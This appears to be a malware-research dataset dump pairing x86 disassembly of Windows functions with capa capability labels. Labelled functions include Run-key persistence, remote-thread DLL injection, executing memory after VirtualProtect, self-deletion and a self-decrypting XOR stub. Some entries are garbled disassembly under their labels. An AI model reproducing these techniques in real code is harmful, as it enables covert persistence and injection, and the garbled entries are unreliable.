joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4a41a0
Capabilities:
Create pipe

Disassembly:
sub esp, 0x41c
mov eax, dword [0x4b0004]
xor eax, esp
mov dword [esp + 0x418], eax
mov eax, dword [esp + 0x420]
mov eax, dword [eax]
push ebx
mov ebx, dword [0x4b4a34]
push edi
mov edi, dword [0x4b6eb4]
call fcn.004a40e0
cmp dword [0x4b6eb4], 0x2f
jne 0x4a4234
push 0
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
lea ecx, [esp + 0x10]
push ecx
lea edx, [esp + 0x18]
push edx
push 0
lea eax, [esp + 0x2c]
push eax
push 0
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_ReadEventLogA]
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateNamedPipeA]
lea ecx, [esp + 8]
push ecx
lea edx, [esp + 0x1c]
push edx
mov dword [esp + 0x10], 0
mov dword [esp + 0x14], 0
call dword [sym.imp.KERNEL32.dll_FileTimeToLocalFileTime]
call fcn.004a4110
mov ecx, dword [esp + 0x420]
pop edi
pop ebx
xor ecx, esp
call fcn.00401114
add esp, 0x41c
ret
Function at 0x4a4650
Capabilities:
Get disk information

Disassembly:
mov eax, dword [0x4b6eb4]
push ebx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_GetSystemTimes]
push edi
mov ebx, 0x1519af
mov edi, 0x8e46a6f0
jmp 0x4a4670
mov dword [0x4b6b1c], edi
cmp eax, 0x3dc
jne 0x4a468a
push 0
push 0
push 0
call esi
mov eax, dword [0x4b6eb4]
dec ebx
jne 0x4a4670
mov edi, dword [sym.imp.KERNEL32.dll_FlushFileBuffers]
mov ebx, dword [sym.imp.KERNEL32.dll_GetVolumeInformationA]
xor esi, esi
jmp 0x4a46a0
cmp eax, 0xa5f
jne 0x4a46c2
push 0
call edi
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
call ebx
mov eax, dword [0x4b6eb4]
cmp esi, 0x846143
jne 0x4a46d9
mov eax, dword [0x4b1bf0]
add eax, 0xa231
mov dword [0x4b6eb4], eax
cmp eax, 0x141
jne 0x4a46f4
mov dword [0x4b31c0], 0xec58acac
mov dword [0x4b31c4], 0xffffffff
inc esi
cmp esi, 0x12d12ba
jl 0x4a46a0
call fcn.004a4250
pop edi
pop esi
xor eax, eax
pop ebx
ret 0x10
Function at 0x6eac12f3
Capabilities:
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48
lea eax, [ebp - 0x2c]
mov dword [esp], eax
call sym._GetSystemInfo_4
sub esp, 4
mov eax, dword [ebp - 0x14]
cmp eax, 0x182
je 0x6eac1325
mov eax, dword [ebp - 0x14]
cmp eax, 0x1e6
je 0x6eac1325
mov eax, dword [ebp - 0x14]
cmp eax, 0x24a
jne 0x6eac132c
mov eax, 1
jmp 0x6eac1331
mov eax, 0
leave
ret

Function at 0x6eac1333
Capabilities:
Persist via run registry key
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x138
mov dword [esp + 8], 0x104
lea eax, [ebp - 0x110]
mov dword [esp + 4], eax
mov dword [esp], 0
call sym._GetModuleFileNameA_12
sub esp, 0xc
lea eax, [ebp - 0xc]
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], 0xf003f
mov dword [esp + 8], 0
mov dword [esp + 4], str.SoftwareMicrosoftWindowsCurrentVersionRun
mov dword [esp], 0x80000001
call sym._RegOpenKeyExA_20
sub esp, 0x14
lea eax, [ebp - 0x110]
mov dword [esp], eax
call sym._strlen
lea edx, [eax + 1]
mov eax, dword [ebp - 0xc]
mov dword [esp + 0x14], edx
lea edx, [ebp - 0x110]
mov dword [esp + 0x10], edx
mov dword [esp + 0xc], 1
mov dword [esp + 8], 0
mov dword [esp + 4], str.AutoRun
mov dword [esp], eax
call sym._RegSetValueExA_24
sub esp, 0x18
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._RegCloseKey_4
sub esp, 4
nop
leave
ret

Function at 0x6eac144b
Capabilities:
Create thread
Inject thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
mov eax, dword [ebp + 0xc]
mov dword [esp + 8], eax
mov dword [esp + 4], 0
mov dword [esp], 0x1f0fff
call sym._OpenProcess_12
sub esp, 0xc
mov dword [ebp - 0xc], eax
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._strlen
mov dword [esp + 0x10], 4
mov dword [esp + 0xc], 0x1000
mov dword [esp + 8], eax
mov dword [esp + 4], 0
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._VirtualAllocEx_20
sub esp, 0x14
mov dword [ebp - 0x10], eax
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._strlen
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], eax
mov eax, dword [ebp + 8]
mov dword [esp + 8], eax
mov eax, dword [ebp - 0x10]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._WriteProcessMemory_20
sub esp, 0x14
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0
mov eax, dword [ebp - 0x10]
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], sym._LoadLibraryA_4
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._CreateRemoteThread_28
sub esp, 0x1c
mov dword [ebp - 0x14], eax
mov dword [esp + 4], 0xffffffff
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call sym._WaitForSingleObject_8
sub esp, 8
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call sym._CloseHandle_4
sub esp, 4
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._strlen
mov dword [esp + 0xc], 0x8000
mov dword [esp + 8], eax
mov eax, dword [ebp - 0x10]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._VirtualFreeEx_16
sub esp, 0x10
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._CloseHandle_4
sub esp, 4
nop
leave
ret
Function at 0x6eac157e
Capabilities:
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], pe_nt_image_headers32
mov dword [esp + 0x10], 3
mov dword [esp + 0xc], 0
mov dword [esp + 8], 1
mov dword [esp + 4], 0x80000000
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._CreateFileA_28
sub esp, 0x1c
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0xffffffff
jne 0x6eac15e1
mov dword [esp], str.Open_file_error_
call sym._printf
mov eax, 0xffffffff
jmp 0x6eac16a3
mov dword [esp + 4], 0
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._GetFileSize_8
sub esp, 8
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0xffffffff
jne 0x6eac1616
mov dword [esp], str.Get_file_size_error_
call sym._printf
mov eax, 0xffffffff
jmp 0x6eac16a3
mov eax, dword [ebp - 0x10]
add eax, 1
mov dword [esp], eax
call sym._malloc
mov dword [ebp + 0xc], eax
cmp dword [ebp + 0xc], 0
jne 0x6eac1640
mov dword [esp], str.Allocate_memory_error_
call sym._printf
mov eax, 0xffffffff
jmp 0x6eac16a3
mov eax, dword [ebp - 0x10]
mov dword [esp + 0x10], 0
lea edx, [ebp - 0x18]
mov dword [esp + 0xc], edx
mov dword [esp + 8], eax
mov eax, dword [ebp + 0xc]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._ReadFile_20
sub esp, 0x14
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
jne 0x6eac1687
mov dword [esp], str.Read_file_error_
call sym._printf
mov eax, 0xffffffff
jmp 0x6eac16a3
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._CloseHandle_4
sub esp, 4
mov edx, dword [ebp - 0x10]
mov eax, dword [ebp + 0xc]
add eax, edx
mov byte [eax], 0
mov eax, dword [ebp - 0x10]
leave
ret

Function at 0x6eac1813
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov eax, dword [ebp + 0xc]
lea edx, [ebp - 0xc]
mov dword [esp + 0xc], edx
mov dword [esp + 8], 0x40
mov dword [esp + 4], eax
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._VirtualProtect_16
sub esp, 0x10
mov eax, dword [ebp + 8]
call eax
nop
leave
ret

Function at 0x6eac1877
Capabilities:
Delete file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x128
mov dword [esp + 8], 0x104
lea eax, [ebp - 0x10c]
mov dword [esp + 4], eax
mov dword [esp], 0
call sym._GetModuleFileNameA_12
sub esp, 0xc
mov dword [esp], 0x1388
call sym._Sleep_4
sub esp, 4
lea eax, [ebp - 0x10c]
mov dword [esp], eax
call sym._DeleteFileA_4
sub esp, 4
nop
leave
ret

Function at 0x6eac1c00
Capabilities:
Get thread local storage value

Disassembly:
push esi
push ebx
sub esp, 0x14
mov dword [esp], 0x6eac603c
call sym._EnterCriticalSection_4
mov ebx, dword [0x6eac6034]
sub esp, 4
test ebx, ebx
je 0x6eac1c4b
nop
mov eax, dword [ebx]
mov dword [esp], eax
call sym._TlsGetValue_4
sub esp, 4
mov esi, eax
call sym._GetLastError_0
test eax, eax
jne 0x6eac1c44
test esi, esi
je 0x6eac1c44
mov eax, dword [ebx + 4]
mov dword [esp], esi
call eax
mov ebx, dword [ebx + 8]
test ebx, ebx
jne 0x6eac1c20
mov dword [esp], 0x6eac603c
call sym._LeaveCriticalSection_4
sub esp, 4
add esp, 0x14
pop ebx
pop esi
ret
Function at 0x6eac1e30
Capabilities:
Write file on windows

Disassembly:
push esi
push ebx
sub esp, 0x14
mov eax, dword [sym.imp.msvcrt.dll__iob]
mov dword [esp + 8], 0x17
mov dword [esp + 4], 1
lea esi, [esp + 0x24]
mov dword [esp], 0x6eac4188
lea ebx, [eax + 0x40]
mov dword [esp + 0xc], ebx
call sym._fwrite
mov eax, dword [esp + 0x20]
mov dword [esp + 8], esi
mov dword [esp], ebx
mov dword [esp + 4], eax
call sym._vfprintf
call sym._abort
lea esi, [esi]

Function at 0x6eac1e80
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
push edi
mov edi, ecx
push esi
push ebx
mov ebx, eax
mov esi, edx
sub esp, 0x4c
lea eax, [esp + 0x24]
mov dword [esp + 8], 0x1c
mov dword [esp], ebx
mov dword [esp + 4], eax
call sym._VirtualQuery_12
sub esp, 0xc
test eax, eax
je 0x6eac1f58
mov eax, dword [esp + 0x38]
cmp eax, 0x40
je 0x6eac1ebe
cmp eax, 4
jne 0x6eac1ee0
mov dword [esp + 8], edi
mov dword [esp + 4], esi
mov dword [esp], ebx
call sym._memcpy
add esp, 0x4c
pop ebx
pop esi
pop edi
pop ebp
ret
mov eax, dword [esp + 0x30]
lea ebp, [esp + 0x20]
mov dword [esp + 8], 0x40
mov dword [esp + 0xc], ebp
mov dword [esp + 4], eax
mov eax, dword [esp + 0x24]
mov dword [esp], eax
call sym._VirtualProtect_16
sub esp, 0x10
mov edx, dword [esp + 0x38]
mov dword [esp + 8], edi
mov dword [esp + 4], esi
mov dword [esp], ebx
mov dword [esp + 0x1c], edx
call sym._memcpy
mov edx, dword [esp + 0x1c]
cmp edx, 0x40
je 0x6eac1ece
cmp edx, 4
je 0x6eac1ece
mov eax, dword [esp + 0x20]
mov dword [esp + 0xc], ebp
mov dword [esp + 8], eax
mov eax, dword [esp + 0x30]
mov dword [esp + 4], eax
mov eax, dword [esp + 0x24]
mov dword [esp], eax
call sym._VirtualProtect_16
sub esp, 0x10
add esp, 0x4c
pop ebx
pop esi
pop edi
pop ebp
ret
mov dword [esp + 8], ebx
mov dword [esp + 4], 0x1c
mov dword [esp], str.__VirtualQuery_failed_for__d_bytes_at_address__p
call fcn.6eac1e30
Function at 0x40adc0
Capabilities:
Clear file content

Disassembly:
mov eax, 0x1014
push ebp
mov ebp, esp
call fcn.00404730
push ebx
push esi
push edi
mov ebx, dword [ebp + 8]
mov dword [ebp - 4], 0
mov eax, dword [0x4170bc]
cmp ebx, eax
jae 0x40adfb
mov eax, ebx
and eax, 0x1f
mov edx, ebx
sar edx, 5
mov edx, dword [edx*4 + 0x4170c0]
test byte [edx + eax*8 + 4], 1
jne 0x40ae0d
or eax, 0xffffffff
mov dword [0x415c84], 9
jmp 0x40af32
push 1
push 0
push ebx
call fcn.00409fd0
add esp, 0xc
mov dword [ebp - 0xc], eax
cmp eax, 0xffffffff
je 0x40ae37
push 2
push 0
push ebx
call fcn.00409fd0
mov dword [ebp - 8], eax
add esp, 0xc
cmp eax, 0xffffffff
jne 0x40ae3f
or eax, 0xffffffff
jmp 0x40af32
mov eax, dword [ebp + 0xc]
mov esi, eax
sub esi, dword [ebp - 8]
test esi, esi
jle 0x40aee4
mov ecx, 0x1000
xor eax, eax
lea edx, [ebp - 0x1010]
push edi
mov edi, edx
rep stosb byte es:[edi], al
pop edi
mov eax, edx
push 0x8000
push ebx
call fcn.0040b330
add esp, 8
mov dword [ebp - 0x10], eax
mov eax, esi
cmp eax, 0x1000
jb 0x40ae8a
mov dword [ebp - 0x1014], 0x1000
jmp 0x40ae92
mov eax, esi
mov dword [ebp - 0x1014], eax
mov eax, dword [ebp - 0x1014]
push eax
lea eax, [ebp - 0x1010]
push eax
push ebx
call fcn.004086d0
mov edi, eax
add esp, 0xc
cmp eax, 0xffffffff
jne 0x40aecb
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 5
jne 0x40aec5
mov dword [0x415c84], 0xd
or dword [ebp - 4], 0xffffffff
jmp 0x40aed5
mov eax, esi
sub eax, edi
test eax, eax
mov esi, eax
jg 0x40ae75
mov eax, dword [ebp - 0x10]
push eax
push ebx
call fcn.0040b330
add esp, 8
jmp 0x40af20
test esi, esi
jge 0x40af20
push 0
mov eax, dword [ebp + 0xc]
push eax
push ebx
call fcn.00409fd0
add esp, 0xc
push ebx
call fcn.00408b00
pop ecx
push eax
call dword [sym.imp.KERNEL32.dll_SetEndOfFile]
test eax, eax
setne al
and eax, 1
dec eax
cmp eax, 0xffffffff
mov dword [ebp - 4], eax
jne 0x40af20
mov dword [0x415c84], 0xd
push 0
mov eax, dword [ebp - 0xc]
push eax
push ebx
call fcn.00409fd0
add esp, 0xc
mov eax, dword [ebp - 4]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx
Function at 0x404aa1
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov ecx, dword [ebp + 0x24]
push ebx
mov ebx, dword [ebp + 0x18]
push 1
pop eax
shl eax, cl
push 8
sub eax, dword [ebp + 0xc]
mov dword [ebp - 4], eax
pop eax
sub eax, ecx
test ebx, ebx
mov dword [ebp - 0xc], eax
je 0x404bd7
mov eax, dword [ebp + 0x14]
test eax, eax
je 0x404bd7
push esi
mov esi, dword [eax + 0x50]
imul esi, dword [ebx + 4]
push edi
push dword [ebp + 8]
mov dword [ebp - 8], esi
call fcn.00416165
mov edi, dword [ebp + 0x10]
mov eax, dword [ebp + 0x20]
mov ecx, dword [edi + 0x50]
mov edx, dword [edi + 0x4c]
push 0
lea ecx, [ecx + eax - 1]
push ecx
mov ecx, dword [ebp + 0x1c]
lea edx, [edx + ecx - 1]
push edx
push eax
push ecx
push dword [ebp + 8]
call fcn.0041650f
mov ebx, dword [ebx]
mov eax, dword [ebp + 0x14]
mov eax, dword [eax]
mov ecx, esi
mov esi, dword [edi]
mov edx, ecx
shr ecx, 2
mov edi, ebx
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov ecx, edx
sar ecx, 2
add esp, 0x1c
mov esi, ecx
dec ecx
test esi, esi
mov dword [ebp + 0x14], eax
je 0x404b93
inc ecx
mov dword [ebp + 0x10], ecx
mov edx, 0xff00ff
mov esi, dword [eax]
mov eax, dword [ebx]
mov ecx, eax
shr ecx, 8
mov edi, esi
shr edi, 8
and ecx, edx
imul ecx, dword [ebp - 4]
and edi, edx
imul edi, dword [ebp + 0xc]
and eax, edx
imul eax, dword [ebp - 4]
add dword [ebp + 0x14], 4
and esi, edx
imul esi, dword [ebp + 0xc]
add ecx, edi
mov edi, ecx
mov ecx, dword [ebp - 0xc]
add eax, esi
shl edi, cl
mov ecx, dword [ebp + 0x24]
shr eax, cl
xor eax, edi
and eax, edx
xor eax, edi
mov dword [ebx], eax
mov eax, dword [ebp + 0x14]
add ebx, 4
dec dword [ebp + 0x10]
jne 0x404b43
mov edx, dword [ebp - 8]
and edx, 3
mov ecx, edx
dec edx
test ecx, ecx
je 0x404bbc
lea esi, [edx + 1]
movzx edx, byte [ebx]
movzx ecx, byte [eax]
imul edx, dword [ebp - 4]
imul ecx, dword [ebp + 0xc]
add edx, ecx
mov ecx, dword [ebp + 0x24]
shr edx, cl
mov byte [ebx], dl
inc ebx
inc eax
dec esi
jne 0x404ba0
mov eax, dword [ebp + 0x18]
push 1
push dword [ebp + 0x20]
push dword [ebp + 0x1c]
push dword [eax + 0x10]
push dword [ebp + 8]
call fcn.0040bd29
add esp, 0x14
pop edi
pop esi
pop ebx
leave
ret

Function at 0x40683b
Capabilities:
Encode data using xor

Disassembly:
push esi
mov esi, dword [esp + 0xc]
test esi, esi
jne 0x406848
xor eax, eax
pop esi
ret
cmp dword [0x4be63c], 0
je 0x40685d
call fcn.0040688e
and dword [0x4be63c], 0
cmp dword [esp + 0x10], 0
mov eax, dword [esp + 8]
not eax
jbe 0x40688a
movzx edx, byte [esi]
mov ecx, eax
and ecx, 0xff
xor ecx, edx
mov ecx, dword [ecx*4 + 0x4cf338]
shr eax, 8
xor eax, ecx
inc esi
dec dword [esp + 0x10]
jne 0x40686a
not eax
pop esi
ret

Function at 0x40688e
Capabilities:
Hash data with crc32

Disassembly:
push esi
xor edx, edx
mov ecx, 0x4cf338
push 8
mov eax, edx
pop esi
test al, 1
je 0x4068a8
shr eax, 1
xor eax, 0xedb88320
jmp 0x4068aa
shr eax, 1
dec esi
jne 0x40689b
mov dword [ecx], eax
add ecx, 4
inc edx
cmp ecx, 0x4cf738
jl 0x406896
pop esi
ret
Function at 0x40bdd5
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x78
fild dword [ebp + 0x2c]
fidiv dword [ebp + 0x18]
fst qword [ebp - 0x60]
fild dword [ebp + 0x30]
fidiv dword [ebp + 0x1c]
fstp qword [ebp - 0x2c]
fld st(0)
invalid
inc esp
int3
invalid

Function at 0x41cb08
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push 4
push 0x4c48cc
push ebx
call fcn.004a0b5a
add esp, 0xc
test eax, eax
jne 0x41cb0d
or byte [ebp - 3], 8
add ebx, 4
jmp 0x41caf0
push 5
push 0x4c48d4
push ebx
call fcn.004a0b5a
add esp, 0xc
test eax, eax
jne 0x41cb2a
or byte [ebp - 3], 4
add ebx, 5
jmp 0x41caf0
push 6
push 0x4c48dc
push ebx
call fcn.004a0b5a
add esp, 0xc
test eax, eax
jne 0x41cb46
or dword [ebp - 4], esi
add ebx, 6
jmp 0x41caf0
or ecx, 0xffffffff
xor eax, eax
mov edi, ebx
repne scasb al, byte es:[edi]
not ecx
dec ecx
cmp ecx, 1
jbe 0x41cbe5
push ebx
push 0x1d
push 0x4c47c0
call fcn.0041ca87
add esp, 0xc
test eax, eax
je 0x41cbde
mov ebx, dword [ebp - 4]
mov edi, ebx
and edi, esi
je 0x41cb8b
test bh, 0xc
jne 0x41cb8b
mov cx, word [eax*8 + 0x4c46da]
cmp cx, 0xffff
jne 0x41cbc7
mov edx, ebx
and edx, 0x400
je 0x41cbac
test edi, edi
jne 0x41cbac
test bh, 8
jne 0x41cbb1
mov cx, word [eax*8 + 0x4c46dc]
cmp cx, 0xffff
jne 0x41cbc7
test bh, 8
je 0x41cbcf
test edi, edi
jne 0x41cbcf
test edx, edx
jne 0x41cbcf
mov cx, word [eax*8 + 0x4c46de]
cmp cx, 0xffff
je 0x41cbcf
movsx eax, cx
jmp 0x41ccd9
movsx eax, word [eax*8 + 0x4c46d8]
add eax, ebx
jmp 0x41ccd9
xor eax, eax
jmp 0x41ccd9
mov edi, dword [ebp - 4]
test edi, edi
je 0x41ccd4
movsx eax, byte [ebx]
push eax
call fcn.00498f7c
pop ecx
mov ecx, edi
and ecx, esi
je 0x41cc16
test edi, 0xc00
jne 0x41cc16
cmp eax, 0x41
jl 0x41cc16
cmp eax, 0x5a
jle 0x41ccd9
mov edx, edi
and edx, 0x400
je 0x41cc3e
test ecx, ecx
jne 0x41cc3e
test edi, 0x800
jne 0x41cc4a
cmp eax, 0x41
jl 0x41cc3e
cmp eax, 0x5a
jg 0x41cc3e
add eax, 0xffffffc0
jmp 0x41ccd9
test edi, 0x800
je 0x41ccd4
test ecx, ecx
jne 0x41ccd4
test edx, edx
jne 0x41ccd4
cmp eax, 0x41
mov byte [ebp - 0x20], 0x1e
mov byte [ebp - 0x1f], 0x30
mov byte [ebp - 0x1e], 0x2e
mov byte [ebp - 0x1d], 0x20
mov byte [ebp - 0x1c], 0x12
mov byte [ebp - 0x1b], 0x21
mov byte [ebp - 0x1a], 0x22
mov byte [ebp - 0x19], 0x23
mov byte [ebp - 0x18], 0x17
mov byte [ebp - 0x17], 0x24
mov byte [ebp - 0x16], 0x25
mov byte [ebp - 0x15], 0x26
mov byte [ebp - 0x14], 0x32
mov byte [ebp - 0x13], 0x31
mov byte [ebp - 0x12], 0x18
mov byte [ebp - 0x11], 0x19
mov byte [ebp - 0x10], 0x10
mov byte [ebp - 0xf], 0x13
mov byte [ebp - 0xe], 0x1f
mov byte [ebp - 0xd], 0x14
mov byte [ebp - 0xc], 0x16
mov byte [ebp - 0xb], 0x2f
mov byte [ebp - 0xa], 0x11
mov byte [ebp - 9], 0x2d
mov byte [ebp - 8], 0x15
mov byte [ebp - 7], 0x2c
jl 0x41ccd4
cmp eax, 0x5a
jg 0x41ccd4
movsx eax, byte [ebp + eax - 0x61]
or eax, 0x100
jmp 0x41ccd9
movsx eax, byte [ebx]
add eax, edi
pop edi
pop esi
pop ebx
leave
ret

Function at 0x4a0b5a
Capabilities:
Encode data using xor

Disassembly:
fisttp dword [edx - 0x74befea7]
rol byte [ecx + 0xffe2], 1
add cl, al
call 0x8c1d3e75
adc al, 0x95
push eax
ret 0x4b
Function at 0x401fc0
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x401fff
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x401fff
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x401fff
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x401fff
cmp dword [ecx + 0x74], 0xe
jbe 0x401fff
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret
Function at 0x407b53
Capabilities:
Query environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov esi, eax
test esi, esi
je 0x407bf0
push ebx
push esi
call fcn.00407b1c
xor ebx, ebx
sub eax, esi
push ebx
push ebx
push ebx
push ebx
sar eax, 1
push eax
push esi
push ebx
push ebx
mov dword [ebp - 8], eax
call fcn.00407ab0
add esp, 0x24
mov dword [ebp - 4], eax
test eax, eax
jne 0x407b9d
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x407bef
push edi
push eax
call fcn.00408770
mov edi, eax
pop ecx
push ebx
test edi, edi
jne 0x407bbd
call fcn.00406611
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x407bee
push ebx
push dword [ebp - 4]
push edi
push dword [ebp - 8]
push esi
push ebx
push ebx
call fcn.00407ab0
add esp, 0x20
test eax, eax
jne 0x407bdc
push edi
call fcn.00406611
jmp 0x407be4
push ebx
call fcn.00406611
mov ebx, edi
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov eax, ebx
pop edi
pop ebx
pop esi
leave
ret

Function at 0x408eed
Capabilities:
Allocate thread local storage

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x469c98
push 0x469c90
push str.FlsAlloc
push 0x1f
call fcn.00408dac
mov esi, eax
add esp, 0x10
test esi, esi
je 0x408f21
push dword [ebp + 8]
mov ecx, esi
call dword [0x41412c]
call esi
jmp 0x408f27
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
pop esi
pop ebp
ret 4

Function at 0x408f6b
Capabilities:
Get thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x469ca8
push 0x469ca0
push str.FlsGetValue
push 0x21
call fcn.00408dac
mov esi, eax
add esp, 0x10
test esi, esi
je 0x408fa2
push dword [ebp + 8]
mov ecx, esi
call dword [0x41412c]
call esi
pop esi
pop ebp
ret 4
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsGetValue]

Function at 0x408faa
Capabilities:
Set thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x469cb0
push 0x469ca8
push str.FlsSetValue
push 0x22
call fcn.00408dac
mov esi, eax
add esp, 0x10
test esi, esi
je 0x408fe4
push dword [ebp + 0xc]
mov ecx, esi
push dword [ebp + 8]
call dword [0x41412c]
call esi
pop esi
pop ebp
ret 8
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsSetValue]
Function at 0x40e440
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x40e46d
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x40e46d
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret
Function at 0x403206
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
mov ebx, dword [esp + 8]
test ebx, 0xffff0000
push esi
push edi
mov edi, ecx
mov dword [edi + 0x58], ebx
jne 0x403226
cmp dword [edi + 0x54], 0
jne 0x403226
movzx eax, bx
mov dword [edi + 0x54], eax
call fcn.0040511d
mov esi, dword [eax + 0xc]
push 5
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
push esi
push dword [esp + 0x18]
mov ebx, eax
push ebx
mov ecx, edi
call fcn.004031cd
push ebx
mov esi, eax
call dword [sym.imp.KERNEL32.dll_FreeResource]
pop edi
mov eax, esi
pop esi
pop ebx
ret 8

Function at 0x40a1f7
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
push ebp
push esi
push edi
xor edi, edi
xor ebx, ebx
cmp dword [esp + 0x14], edi
mov ebp, ecx
je 0x40a23a
call fcn.0040511d
mov esi, dword [eax + 0xc]
push pe_nt_image_headers32
push dword [esp + 0x18]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
test eax, eax
je 0x40a23a
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov edi, eax
test edi, edi
je 0x40a255
push edi
call dword [sym.imp.KERNEL32.dll_LockResource]
mov ebx, eax
push ebx
mov ecx, ebp
call fcn.00409dae
test ebx, ebx
mov esi, eax
je 0x40a253
test edi, edi
je 0x40a253
push edi
call dword [sym.imp.KERNEL32.dll_FreeResource]
mov eax, esi
pop edi
pop esi
pop ebp
pop ebx
ret 4